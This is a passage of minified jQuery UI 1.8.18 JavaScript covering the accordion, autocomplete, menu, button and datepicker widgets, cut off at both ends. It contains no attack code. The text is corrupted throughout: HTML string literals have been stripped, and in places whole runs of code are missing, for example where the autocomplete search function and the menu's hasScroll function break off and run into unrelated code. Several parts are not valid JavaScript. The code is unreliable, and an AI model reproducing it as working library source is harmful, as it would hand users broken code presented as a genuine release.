c=a.ui.keyCode,d=this.headers.length,e=this.headers.index(b.target),f=!1;switch(b.keyCode){case c.RIGHT:case c.DOWN:f=this.headers[(e+1)%d];break;case c.LEFT:case c.UP:f=this.headers[(e-1+d)%d];break;case c.SPACE:case c.ENTER:this._clickHandler({target:b.target},b.target),b.preventDefault()}if(f){a(b.target).attr("tabIndex",-1),a(f).attr("tabIndex",0),f.focus();return!1}return!0}},resize:function(){var b=this.options,c;if(b.fillSpace){if(a.browser.msie){var d=this.element.parent().css("overflow");this.element.parent().css("overflow","hidden")}c=this.element.parent().height(),a.browser.msie&&this.element.parent().css("overflow",d),this.headers.each(function(){c-=a(this).outerHeight(!0)}),this.headers.next().each(function(){a(this).height(Math.max(0,c-a(this).innerHeight()+a(this).height()))}).css("overflow","auto")}else b.autoHeight&&(c=0,this.headers.next().each(function(){c=Math.max(c,a(this).height("").height())}).height(c));return this},activate:function(a){this.options.active=a;var b=this._findActive(a)[0];this._clickHandler({target:b},b);return this},_findActive:function(b){return b?typeof b=="number"?this.headers.filter(":eq("+b+")"):this.headers.not(this.headers.not(b)):b===!1?a([]):this.headers.filter(":eq(0)")},_clickHandler:function(b,c){var d=this.options;if(!d.disabled){if(!b.target){if(!d.collapsible)return;this.active.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").children(".ui-icon").removeClass(d.icons.headerSelected).addClass(d.icons.header),this.active.next().addClass("ui-accordion-content-active");var e=this.active.next(),f={options:d,newHeader:a([]),oldHeader:d.active,newContent:a([]),oldContent:e},g=this.active=a([]);this._toggle(g,e,f);return}var h=a(b.currentTarget||c),i=h[0]===this.active[0];d.active=d.collapsible&&i?!1:this.headers.index(h);if(this.running||!d.collapsible&&i)return;var j=this.active,g=h.next(),e=this.active.next(),f={options:d,newHeader:i&&d.collapsible?a([]):h,oldHeader:this.active,newContent:i&&d.collapsible?a([]):g,oldContent:e},k=this.headers.index(this.active[0])>this.headers.index(h[0]);this.active=i?a([]):h,this._toggle(g,e,f,i,k),j.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").children(".ui-icon").removeClass(d.icons.headerSelected).addClass(d.icons.header),i||(h.removeClass("ui-state-default ui-corner-all").addClass("ui-state-active ui-corner-top").children(".ui-icon").removeClass(d.icons.header).addClass(d.icons.headerSelected),h.next().addClass("ui-accordion-content-active"));return}},_toggle:function(b,c,d,e,f){var g=this,h=g.options;g.toShow=b,g.toHide=c,g.data=d;var i=function(){if(!!g)return g._completed.apply(g,arguments)};g._trigger("changestart",null,g.data),g.running=c.size()===0?b.size():c.size();if(h.animated){var j={};h.collapsible&&e?j={toShow:a([]),toHide:c,complete:i,down:f,autoHeight:h.autoHeight||h.fillSpace}:j={toShow:b,toHide:c,complete:i,down:f,autoHeight:h.autoHeight||h.fillSpace},h.proxied||(h.proxied=h.animated),h.proxiedDuration||(h.proxiedDuration=h.duration),h.animated=a.isFunction(h.proxied)?h.proxied(j):h.proxied,h.duration=a.isFunction(h.proxiedDuration)?h.proxiedDuration(j):h.proxiedDuration;var k=a.ui.accordion.animations,l=h.duration,m=h.animated;m&&!k[m]&&!a.easing[m]&&(m="slide"),k[m]||(k[m]=function(a){this.slide(a,{easing:m,duration:l||700})}),k[m](j)}else h.collapsible&&e?b.toggle():(c.hide(),b.show()),i(!0);c.prev().attr({"aria-expanded":"false","aria-selected":"false",tabIndex:-1}).blur(),b.prev().attr({"aria-expanded":"true","aria-selected":"true",tabIndex:0}).focus()},_completed:function(a){this.running=a?0:--this.running;this.running||(this.options.clearStyle&&this.toShow.add(this.toHide).css({height:"",overflow:""}),this.toHide.removeClass("ui-accordion-content-active"),this.toHide.length&&(this.toHide.parent()[0].className=this.toHide.parent()[0].className),this._trigger("change",null,this.data))}}),a.extend(a.ui.accordion,{version:"1.8.18",animations:{slide:function(b,c){b=a.extend({easing:"swing",duration:300},b,c);if(!b.toHide.size())b.toShow.animate({height:"show",paddingTop:"show",paddingBottom:"show"},b);else{if(!b.toShow.size()){b.toHide.animate({height:"hide",paddingTop:"hide",paddingBottom:"hide"},b);return}var d=b.toShow.css("overflow"),e=0,f={},g={},h=["height","paddingTop","paddingBottom"],i,j=b.toShow;i=j[0].style.width,j.width(j.parent().width()-parseFloat(j.css("paddingLeft"))-parseFloat(j.css("paddingRight"))-(parseFloat(j.css("borderLeftWidth"))||0)-(parseFloat(j.css("borderRightWidth"))||0)),a.each(h,function(c,d){g[d]="hide";var e=(""+a.css(b.toShow[0],d)).match(/^([\d+-.]+)(.*)$/);f[d]={value:e[1],unit:e[2]||"px"}}),b.toShow.css({height:0,overflow:"hidden"}).show(),b.toHide.filter(":hidden").each(b.complete).end().filter(":visible").animate(g,{step:function(a,c){c.prop=="height"&&(e=c.end-c.start===0?0:(c.now-c.start)/(c.end-c.start)),b.toShow[0].style[c.prop]=e*f[c.prop].value+f[c.prop].unit},duration:b.duration,easing:b.easing,complete:function(){b.autoHeight||b.toShow.css("height",""),b.toShow.css({width:i,overflow:d}),b.complete()}})}},bounceslide:function(a){this.slide(a,{easing:a.down?"easeOutBounce":"swing",duration:a.down?1e3:200})}}})}(jQuery),function(a,b){var c=0;a.widget("ui.autocomplete",{options:{appendTo:"body",autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null},pending:0,_create:function(){var b=this,c=this.element[0].ownerDocument,d;this.element.addClass("ui-autocomplete-input").attr("autocomplete","off").attr({role:"textbox","aria-autocomplete":"list","aria-haspopup":"true"}).bind("keydown.autocomplete",function(c){if(!b.options.disabled&&!b.element.propAttr("readOnly")){d=!1;var e=a.ui.keyCode;switch(c.keyCode){case e.PAGE_UP:b._move("previousPage",c);break;case e.PAGE_DOWN:b._move("nextPage",c);break;case e.UP:b._move("previous",c),c.preventDefault();break;case e.DOWN:b._move("next",c),c.preventDefault();break;case e.ENTER:case e.NUMPAD_ENTER:b.menu.active&&(d=!0,c.preventDefault());case e.TAB:if(!b.menu.active)return;b.menu.select(c);break;case e.ESCAPE:b.element.val(b.term),b.close(c);break;default:clearTimeout(b.searching),b.searching=setTimeout(function(){b.term!=b.element.val()&&(b.selectedItem=null,b.search(null,c))},b.options.delay)}}}).bind("keypress.autocomplete",function(a){d&&(d=!1,a.preventDefault())}).bind("focus.autocomplete",function(){b.options.disabled||(b.selectedItem=null,b.previous=b.element.val())}).bind("blur.autocomplete",function(a){b.options.disabled||(clearTimeout(b.searching),b.closing=setTimeout(function(){b.close(a),b._change(a)},150))}),this._initSource(),this.response=function(){return b._response.apply(b,arguments)},this.menu=a("
    ").addClass("ui-autocomplete").appendTo(a(this.options.appendTo||"body",c)[0]).mousedown(function(c){var d=b.menu.element[0];a(c.target).closest(".ui-menu-item").length||setTimeout(function(){a(document).one("mousedown",function(c){c.target!==b.element[0]&&c.target!==d&&!a.ui.contains(d,c.target)&&b.close()})},1),setTimeout(function(){clearTimeout(b.closing)},13)}).menu({focus:function(a,c){var d=c.item.data("item.autocomplete");!1!==b._trigger("focus",a,{item:d})&&/^key/.test(a.originalEvent.type)&&b.element.val(d.value)},selected:function(a,d){var e=d.item.data("item.autocomplete"),f=b.previous;b.element[0]!==c.activeElement&&(b.element.focus(),b.previous=f,setTimeout(function(){b.previous=f,b.selectedItem=e},1)),!1!==b._trigger("select",a,{item:e})&&b.element.val(e.value),b.term=b.element.val(),b.close(a),b.selectedItem=e},blur:function(a,c){b.menu.element.is(":visible")&&b.element.val()!==b.term&&b.element.val(b.term)}}).zIndex(this.element.zIndex()+1).css({top:0,left:0}).hide().data("menu"),a.fn.bgiframe&&this.menu.element.bgiframe(),b.beforeunloadHandler=function(){b.element.removeAttr("autocomplete")},a(window).bind("beforeunload",b.beforeunloadHandler)},destroy:function(){this.element.removeClass("ui-autocomplete-input").removeAttr("autocomplete").removeAttr("role").removeAttr("aria-autocomplete").removeAttr("aria-haspopup"),this.menu.element.remove(),a(window).unbind("beforeunload",this.beforeunloadHandler),a.Widget.prototype.destroy.call(this)},_setOption:function(b,c){a.Widget.prototype._setOption.apply(this,arguments),b==="source"&&this._initSource(),b==="appendTo"&&this.menu.element.appendTo(a(c||"body",this.element[0].ownerDocument)[0]),b==="disabled"&&c&&this.xhr&&this.xhr.abort()},_initSource:function(){var b=this,d,e;a.isArray(this.options.source)?(d=this.options.source,this.source=function(b,c){c(a.ui.autocomplete.filter(d,b.term))}):typeof this.options.source=="string"?(e=this.options.source,this.source=function(d,f){b.xhr&&b.xhr.abort(),b.xhr=a.ajax({url:e,data:d,dataType:"json",context:{autocompleteRequest:++c},success:function(a,b){this.autocompleteRequest===c&&f(a)},error:function(){this.autocompleteRequest===c&&f([])}})}):this.source=this.options.source},search:function(a,b){a=a!=null?a:this.element.val(),this.term=this.element.val();if(a.length").data("item.autocomplete",c).append(a("").text(c.label)).appendTo(b)},_move:function(a,b){if(!this.menu.element.is(":visible"))this.search(null,b);else{if(this.menu.first()&&/^previous/.test(a)||this.menu.last()&&/^next/.test(a)){this.element.val(this.term),this.menu.deactivate();return}this.menu[a](b)}},widget:function(){return this.menu.element}}),a.extend(a.ui.autocomplete,{escapeRegex:function(a){return a.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&")},filter:function(b,c){var d=new RegExp(a.ui.autocomplete.escapeRegex(c),"i");return a.grep(b,function(a){return d.test(a.label||a.value||a)})}})}(jQuery),function(a){a.widget("ui.menu",{_create:function(){var b=this;this.element.addClass("ui-menu ui-widget ui-widget-content ui-corner-all").attr({role:"listbox","aria-activedescendant":"ui-active-menuitem"}).click(function(c){!a(c.target).closest(".ui-menu-item a").length||(c.preventDefault(),b.select(c))}),this.refresh()},refresh:function(){var b=this,c=this.element.children("li:not(.ui-menu-item):has(a)").addClass("ui-menu-item").attr("role","menuitem");c.children("a").addClass("ui-corner-all").attr("tabindex",-1).mouseenter(function(c){b.activate(c,a(this).parent())}).mouseleave(function(){b.deactivate()})},activate:function(a,b){this.deactivate();if(this.hasScroll()){var c=b.offset().top-this.element.offset().top,d=this.element.scrollTop(),e=this.element.height();c<0?this.element.scrollTop(d+c):c>=e&&this.element.scrollTop(d+c-e+b.height())}this.active=b.eq(0).children("a").addClass("ui-state-hover").attr("id","ui-active-menuitem").end(),this._trigger("focus",a,{item:b})},deactivate:function(){!this.active||(this.active.children("a").removeClass("ui-state-hover").removeAttr("id"),this._trigger("blur"),this.active=null)},next:function(a){this.move("next",".ui-menu-item:first",a)},previous:function(a){this.move("prev",".ui-menu-item:last",a)},first:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},last:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},move:function(a,b,c){if(!this.active)this.activate(c,this.element.children(b));else{var d=this.active[a+"All"](".ui-menu-item").eq(0);d.length?this.activate(c,d):this.activate(c,this.element.children(b))}},nextPage:function(b){if(this.hasScroll()){if(!this.active||this.last()){this.activate(b,this.element.children(".ui-menu-item:first"));return}var c=this.active.offset().top,d=this.element.height(),e=this.element.children(".ui-menu-item").filter(function(){var b=a(this).offset().top-c-d+a(this).height();return b<10&&b>-10});e.length||(e=this.element.children(".ui-menu-item:last")),this.activate(b,e)}else this.activate(b,this.element.children(".ui-menu-item").filter(!this.active||this.last()?":first":":last"))},previousPage:function(b){if(this.hasScroll()){if(!this.active||this.first()){this.activate(b,this.element.children(".ui-menu-item:last"));return}var c=this.active.offset().top,d=this.element.height();result=this.element.children(".ui-menu-item").filter(function(){var b=a(this).offset().top-c+d-a(this).height();return b<10&&b>-10}),result.length||(result=this.element.children(".ui-menu-item:first")),this.activate(b,result)}else this.activate(b,this.element.children(".ui-menu-item").filter(!this.active||this.first()?":last":":first"))},hasScroll:function(){return this.element.height()",this.element[0].ownerDocument).addClass("ui-button-text").html(this.options.label).appendTo(b.empty()).text(),d=this.options.icons,e=d.primary&&d.secondary,f=[];d.primary||d.secondary?(this.options.text&&f.push("ui-button-text-icon"+(e?"s":d.primary?"-primary":"-secondary")),d.primary&&b.prepend(""),d.secondary&&b.append(""),this.options.text||(f.push(e?"ui-button-icons-only":"ui-button-icon-only"),this.hasTitle||b.attr("title",c))):f.push("ui-button-text-only"),b.addClass(f.join(" "))}}}),a.widget("ui.buttonset",{options:{items:":button, :submit, :reset, :checkbox, :radio, a, :data(button)"},_create:function(){this.element.addClass("ui-buttonset")},_init:function(){this.refresh()},_setOption:function(b,c){b==="disabled"&&this.buttons.button("option",b,c),a.Widget.prototype._setOption.apply(this,arguments)},refresh:function(){var b=this.element.css("direction")==="rtl";this.buttons=this.element.find(this.options.items).filter(":ui-button").button("refresh").end().not(":ui-button").button().end().map(function(){return a(this).button("widget")[0]}).removeClass("ui-corner-all ui-corner-left ui-corner-right").filter(":first").addClass(b?"ui-corner-right":"ui-corner-left").end().filter(":last").addClass(b?"ui-corner-left":"ui-corner-right").end().end()},destroy:function(){this.element.removeClass("ui-buttonset"),this.buttons.map(function(){return a(this).button("widget")[0]}).removeClass("ui-corner-left ui-corner-right").end().button("destroy"),a.Widget.prototype.destroy.call(this)}})}(jQuery),function($,undefined){function isArray(a){return a&&($.browser.safari&&typeof a=="object"&&a.length||a.constructor&&a.constructor.toString().match(/\Array\(\)/))}function extendRemove(a,b){$.extend(a,b);for(var c in b)if(b[c]==null||b[c]==undefined)a[c]=b[c];return a}function bindHover(a){var b="button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";return a.bind("mouseout",function(a){var c=$(a.target).closest(b);!c.length||c.removeClass("ui-state-hover ui-datepicker-prev-hover ui-datepicker-next-hover")}).bind("mouseover",function(c){var d=$(c.target).closest(b);!$.datepicker._isDisabledDatepicker(instActive.inline?a.parent()[0]:instActive.input[0])&&!!d.length&&(d.parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover"),d.addClass("ui-state-hover"),d.hasClass("ui-datepicker-prev")&&d.addClass("ui-datepicker-prev-hover"),d.hasClass("ui-datepicker-next")&&d.addClass("ui-datepicker-next-hover"))})}function Datepicker(){this.debug=!1,this._curInst=null,this._keyEvent=!1,this._disabledInputs=[],this._datepickerShowing=!1,this._inDialog=!1,this._mainDivId="ui-datepicker-div",this._inlineClass="ui-datepicker-inline",this._appendClass="ui-datepicker-append",this._triggerClass="ui-datepicker-trigger",this._dialogClass="ui-datepicker-dialog",this._disableClass="ui-datepicker-disabled",this._unselectableClass="ui-datepicker-unselectable",this._currentClass="ui-datepicker-current-day",this._dayOverClass="ui-datepicker-days-cell-over",this.regional=[],this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""},this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:!1,hideIfNoPrevNext:!1,navigationAsDateFormat:!1,gotoCurrent:!1,changeMonth:!1,changeYear:!1,yearRange:"c-10:c+10",showOtherMonths:!1,selectOtherMonths:!1,showWeek:!1,calculateWeek:this.iso8601Week,shortYearCutoff:"+10",minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:!0,showButtonPanel:!1,autoSize:!1,disabled:!1},$.extend(this._defaults,this.regional[""]),this.dpDiv=bindHover($('
    '))}$.extend($.ui,{datepicker:{version:"1.8.18"}});var PROP_NAME="datepicker",dpuuid=(new Date).getTime(),instActive;$.extend(Datepicker.prototype,{markerClassName:"hasDatepicker",maxRows:4,log:function(){this.debug&&console.log.apply("",arguments)},_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(a){extendRemove(this._defaults,a||{});return this},_attachDatepicker:function(target,settings){var inlineSettings=null;for(var attrName in this._defaults){var attrValue=target.getAttribute("date:"+attrName);if(attrValue){inlineSettings=inlineSettings||{};try{inlineSettings[attrName]=eval(attrValue)}catch(err){inlineSettings[attrName]=attrValue} }}var nodeName=target.nodeName.toLowerCase(),inline=nodeName=="div"||nodeName=="span";target.id||(this.uuid+=1,target.id="dp"+this.uuid);var inst=this._newInst($(target),inline);inst.settings=$.extend({},settings||{},inlineSettings||{}),nodeName=="input"?this._connectDatepicker(target,inst):inline&&this._inlineDatepicker(target,inst)},_newInst:function(a,b){var c=a[0].id.replace(/([^A-Za-z0-9_-])/g,"\\\\$1");return{id:c,input:a,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:b,dpDiv:b?bindHover($('
    ')):this.dpDiv}},_connectDatepicker:function(a,b){var c=$(a);b.append=$([]),b.trigger=$([]);c.hasClass(this.markerClassName)||(this._attachments(c,b),c.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).keyup(this._doKeyUp).bind("setData.datepicker",function(a,c,d){b.settings[c]=d}).bind("getData.datepicker",function(a,c){return this._get(b,c)}),this._autoSize(b),$.data(a,PROP_NAME,b),b.settings.disabled&&this._disableDatepicker(a))},_attachments:function(a,b){var c=this._get(b,"appendText"),d=this._get(b,"isRTL");b.append&&b.append.remove(),c&&(b.append=$(''+c+""),a[d?"before":"after"](b.append)),a.unbind("focus",this._showDatepicker),b.trigger&&b.trigger.remove();var e=this._get(b,"showOn");(e=="focus"||e=="both")&&a.focus(this._showDatepicker);if(e=="button"||e=="both"){var f=this._get(b,"buttonText"),g=this._get(b,"buttonImage");b.trigger=$(this._get(b,"buttonImageOnly")?$("").addClass(this._triggerClass).attr({src:g,alt:f,title:f}):$('').addClass(this._triggerClass).html(g==""?f:$("").attr({src:g,alt:f,title:f}))),a[d?"before":"after"](b.trigger),b.trigger.click(function(){$.datepicker._datepickerShowing&&$.datepicker._lastInput==a[0]?$.datepicker._hideDatepicker():$.datepicker._datepickerShowing&&$.datepicker._lastInput!=a[0]?($.datepicker._hideDatepicker(),$.datepicker._showDatepicker(a[0])):$.datepicker._showDatepicker(a[0]);return!1})}},_autoSize:function(a){if(this._get(a,"autoSize")&&!a.inline){var b=new Date(2009,11,20),c=this._get(a,"dateFormat");if(c.match(/[DM]/)){var d=function(a){var b=0,c=0;for(var d=0;db&&(b=a[d].length,c=d);return c};b.setMonth(d(this._get(a,c.match(/MM/)?"monthNames":"monthNamesShort"))),b.setDate(d(this._get(a,c.match(/DD/)?"dayNames":"dayNamesShort"))+20-b.getDay())}a.input.attr("size",this._formatDate(a,b).length)}},_inlineDatepicker:function(a,b){var c=$(a);c.hasClass(this.markerClassName)||(c.addClass(this.markerClassName).append(b.dpDiv).bind("setData.datepicker",function(a,c,d){b.settings[c]=d}).bind("getData.datepicker",function(a,c){return this._get(b,c)}),$.data(a,PROP_NAME,b),this._setDate(b,this._getDefaultDate(b),!0),this._updateDatepicker(b),this._updateAlternate(b),b.settings.disabled&&this._disableDatepicker(a),b.dpDiv.css("display","block"))},_dialogDatepicker:function(a,b,c,d,e){var f=this._dialogInst;if(!f){this.uuid+=1;var g="dp"+this.uuid;this._dialogInput=$(''),this._dialogInput.keydown(this._doKeyDown),$("body").append(this._dialogInput),f=this._dialogInst=this._newInst(this._dialogInput,!1),f.settings={},$.data(this._dialogInput[0],PROP_NAME,f)}extendRemove(f.settings,d||{}),b=b&&b.constructor==Date?this._formatDate(f,b):b,this._dialogInput.val(b),this._pos=e?e.length?e:[e.pageX,e.pageY]:null;if(!this._pos){var h=document.documentElement.clientWidth,i=document.documentElement.clientHeight,j=document.documentElement.scrollLeft||document.body.scrollLeft,k=document.documentElement.scrollTop||document.body.scrollTop;this._pos=[h/2-100+j,i/2-150+k]}this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px"),f.settings.onSelect=c,this._inDialog=!0,this.dpDiv.addClass(this._dialogClass),this._showDatepicker(this._dialogInput[0]),$.blockUI&&$.blockUI(this.dpDiv),$.data(this._dialogInput[0],PROP_NAME,f);return this},_destroyDatepicker:function(a){var b=$(a),c=$.data(a,PROP_NAME);if(!!b.hasClass(this.markerClassName)){var d=a.nodeName.toLowerCase();$.removeData(a,PROP_NAME),d=="input"?(c.append.remove(),c.trigger.remove(),b.removeClass(this.markerClassName).unbind("focus",this._showDatepicker).unbind("keydown",this._doKeyDown).unbind("keypress",this._doKeyPress).unbind("keyup",this._doKeyUp)):(d=="div"||d=="span")&&b.removeClass(this.markerClassName).empty()}},_enableDatepicker:function(a){var b=$(a),c=$.data(a,PROP_NAME);if(!!b.hasClass(this.markerClassName)){var d=a.nodeName.toLowerCase();if(d=="input")a.disabled=!1,c.trigger.filter("button").each(function(){this.disabled=!1}).end().filter("img").css({opacity:"1.0",cursor:""});else if(d=="div"||d=="span"){var e=b.children("."+this._inlineClass);e.children().removeClass("ui-state-disabled"),e.find("select.ui-datepicker-month, select.ui-datepicker-year").removeAttr("disabled")}this._disabledInputs=$.map(this._disabledInputs,function(b){return b==a?null:b})}},_disableDatepicker:function(a){var b=$(a),c=$.data(a,PROP_NAME);if(!!b.hasClass(this.markerClassName)){var d=a.nodeName.toLowerCase();if(d=="input")a.disabled=!0,c.trigger.filter("button").each(function(){this.disabled=!0}).end().filter("img").css({opacity:"0.5",cursor:"default"});else if(d=="div"||d=="span"){var e=b.children("."+this._inlineClass);e.children().addClass("ui-state-disabled"),e.find("select.ui-datepicker-month, select.ui-datepicker-year").attr("disabled","disabled")}this._disabledInputs=$.map(this._disabledInputs,function(b){return b==a?null:b}),this._disabledInputs[this._disabledInputs.length]=a}},_isDisabledDatepicker:function(a){if(!a)return!1;for(var b=0;b-1}},_doKeyUp:function(a){var b=$.datepicker._getInst(a.target);if(b.input.val()!=b.lastVal)try{var c=$.datepicker.parseDate($.datepicker._get(b,"dateFormat"),b.input?b.input.val():null,$.datepicker._getFormatConfig(b));c&&($.datepicker._setDateFromField(b),$.datepicker._updateAlternate(b),$.datepicker._updateDatepicker(b))}catch(a){$.datepicker.log(a)}return!0},_showDatepicker:function(a){a=a.target||a,a.nodeName.toLowerCase()!="input"&&(a=$("input",a.parentNode)[0]);if(!$.datepicker._isDisabledDatepicker(a)&&$.datepicker._lastInput!=a){var b=$.datepicker._getInst(a);$.datepicker._curInst&&$.datepicker._curInst!=b&&($.datepicker._curInst.dpDiv.stop(!0,!0),b&&$.datepicker._datepickerShowing&&$.datepicker._hideDatepicker($.datepicker._curInst.input[0]));var c=$.datepicker._get(b,"beforeShow"),d=c?c.apply(a,[a,b]):{};if(d===!1)return;extendRemove(b.settings,d),b.lastVal=null,$.datepicker._lastInput=a,$.datepicker._setDateFromField(b),$.datepicker._inDialog&&(a.value=""),$.datepicker._pos||($.datepicker._pos=$.datepicker._findPos(a),$.datepicker._pos[1]+=a.offsetHeight);var e=!1;$(a).parents().each(function(){e|=$(this).css("position")=="fixed";return!e}),e&&$.browser.opera&&($.datepicker._pos[0]-=document.documentElement.scrollLeft,$.datepicker._pos[1]-=document.documentElement.scrollTop);var f={left:$.datepicker._pos[0],top:$.datepicker._pos[1]};$.datepicker._pos=null,b.dpDiv.empty(),b.dpDiv.css({position:"absolute",display:"block",top:"-1000px"}),$.datepicker._updateDatepicker(b),f=$.datepicker._checkOffset(b,f,e),b.dpDiv.css({position:$.datepicker._inDialog&&$.blockUI?"static":e?"fixed":"absolute",display:"none",left:f.left+"px",top:f.top+"px"});if(!b.inline){var g=$.datepicker._get(b,"showAnim"),h=$.datepicker._get(b,"duration"),i=function(){var a=b.dpDiv.find("iframe.ui-datepicker-cover");if(!!a.length){var c=$.datepicker._getBorders(b.dpDiv);a.css({left:-c[0],top:-c[1],width:b.dpDiv.outerWidth(),height:b.dpDiv.outerHeight()})}};b.dpDiv.zIndex($(a).zIndex()+1),$.datepicker._datepickerShowing=!0,$.effects&&$.effects[g]?b.dpDiv.show(g,$.datepicker._get(b,"showOptions"),h,i):b.dpDiv[g||"show"](g?h:null,i),(!g||!h)&&i(),b.input.is(":visible")&&!b.input.is(":disabled")&&b.input.focus(),$.datepicker._curInst=b}}},_updateDatepicker:function(a){var b=this;b.maxRows=4;var c=$.datepicker._getBorders(a.dpDiv);instActive=a,a.dpDiv.empty().append(this._generateHTML(a));var d=a.dpDiv.find("iframe.ui-datepicker-cover");!d.length||d.css({left:-c[0],top:-c[1],width:a.dpDiv.outerWidth(),height:a.dpDiv.outerHeight()}),a.dpDiv.find("."+this._dayOverClass+" a").mouseover();var e=this._getNumberOfMonths(a),f=e[1],g=17;a.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width(""),f>1&&a.dpDiv.addClass("ui-datepicker-multi-"+f).css("width",g*f+"em"),a.dpDiv[(e[0]!=1||e[1]!=1?"add":"remove")+"Class"]("ui-datepicker-multi"),a.dpDiv[(this._get(a,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"),a==$.datepicker._curInst&&$.datepicker._datepickerShowing&&a.input&&a.input.is(":visible")&&!a.input.is(":disabled")&&a.input[0]!=document.activeElement&&a.input.focus();if(a.yearshtml){var h=a.yearshtml;setTimeout(function(){h===a.yearshtml&&a.yearshtml&&a.dpDiv.find("select.ui-datepicker-year:first").replaceWith(a.yearshtml),h=a.yearshtml=null},0)}},_getBorders:function(a){var b=function(a){return{thin:1,medium:2,thick:3}[a]||a};return[parseFloat(b(a.css("border-left-width"))),parseFloat(b(a.css("border-top-width")))]},_checkOffset:function(a,b,c){var d=a.dpDiv.outerWidth(),e=a.dpDiv.outerHeight(),f=a.input?a.input.outerWidth():0,g=a.input?a.input.outerHeight():0,h=document.documentElement.clientWidth+$(document).scrollLeft(),i=document.documentElement.clientHeight+$(document).scrollTop();b.left-=this._get(a,"isRTL")?d-f:0,b.left-=c&&b.left==a.input.offset().left?$(document).scrollLeft():0,b.top-=c&&b.top==a.input.offset().top+g?$(document).scrollTop():0,b.left-=Math.min(b.left,b.left+d>h&&h>d?Math.abs(b.left+d-h):0),b.top-=Math.min(b.top,b.top+e>i&&i>e?Math.abs(e+g):0);return b},_findPos:function(a){var b=this._getInst(a),c=this._get(b,"isRTL");while(a&&(a.type=="hidden"||a.nodeType!=1||$.expr.filters.hidden(a)))a=a[c?"previousSibling":"nextSibling"];var d=$(a).offset();return[d.left,d.top]},_hideDatepicker:function(a){var b=this._curInst;if(!(!b||a&&b!=$.data(a,PROP_NAME))&&this._datepickerShowing){var c=this._get(b,"showAnim"),d=this._get(b,"duration"),e=this,f=function(){$.datepicker._tidyDialog(b),e._curInst=null};$.effects&&$.effects[c]?b.dpDiv.hide(c,$.datepicker._get(b,"showOptions"),d,f):b.dpDiv[c=="slideDown"?"slideUp":c=="fadeIn"?"fadeOut":"hide"](c?d:null,f),c||f(),this._datepickerShowing=!1;var g=this._get(b,"onClose");g&&g.apply(b.input?b.input[0]:null,[b.input?b.input.val():"",b]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:"absolute",left:"0",top:"-100px"}),$.blockUI&&($.unblockUI(),$("body").append(this.dpDiv))),this._inDialog=!1}},_tidyDialog:function(a){a.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar")},_checkExternalClick:function(a){if(!!$.datepicker._curInst){var b=$(a.target),c=$.datepicker._getInst(b[0]);(b[0].id!=$.datepicker._mainDivId&&b.parents("#"+$.datepicker._mainDivId).length==0&&!b.hasClass($.datepicker.markerClassName)&&!b.closest("."+$.datepicker._triggerClass).length&&$.datepicker._datepickerShowing&&(!$.datepicker._inDialog||!$.blockUI)||b.hasClass($.datepicker.markerClassName)&&$.datepicker._curInst!=c)&&$.datepicker._hideDatepicker()}},_adjustDate:function(a,b,c){var d=$(a),e=this._getInst(d[0]);this._isDisabledDatepicker(d[0])||(this._adjustInstDate(e,b+(c=="M"?this._get(e,"showCurrentAtPos"):0),c),this._updateDatepicker(e))},_gotoToday:function(a){var b=$(a),c=this._getInst(b[0]);if(this._get(c,"gotoCurrent")&&c.currentDay)c.selectedDay=c.currentDay,c.drawMonth=c.selectedMonth=c.currentMonth,c.drawYear=c.selectedYear=c.currentYear;else{var d=new Date;c.selectedDay=d.getDate(),c.drawMonth=c.selectedMonth=d.getMonth(),c.drawYear=c.selectedYear=d.getFullYear()}this._notifyChange(c),this._adjustDate(b)},_selectMonthYear:function(a,b,c){var d=$(a),e=this._getInst(d[0]);e["selected"+(c=="M"?"Month":"Year")]=e["draw"+(c=="M"?"Month":"Year")]=parseInt(b.options[b.selectedIndex].value,10),this._notifyChange(e),this._adjustDate(d)},_selectDay:function(a,b,c,d){var e=$(a);if(!$(d).hasClass(this._unselectableClass)&&!this._isDisabledDatepicker(e[0])){var f=this._getInst(e[0]);f.selectedDay=f.currentDay=$("a",d).html(),f.selectedMonth=f.currentMonth=b,f.selectedYear=f.currentYear=c,this._selectDate(a,this._formatDate(f,f.currentDay,f.currentMonth,f.currentYear))}},_clearDate:function(a){var b=$(a),c=this._getInst(b[0]);this._selectDate(b,"")},_selectDate:function(a,b){var c=$(a),d=this._getInst(c[0]);b=b!=null?b:this._formatDate(d),d.input&&d.input.val(b),this._updateAlternate(d);var e=this._get(d,"onSelect");e?e.apply(d.input?d.input[0]:null,[b,d]):d.input&&d.input.trigger("change"),d.inline?this._updateDatepicker(d):(this._hideDatepicker(),this._lastInput=d.input[0],typeof 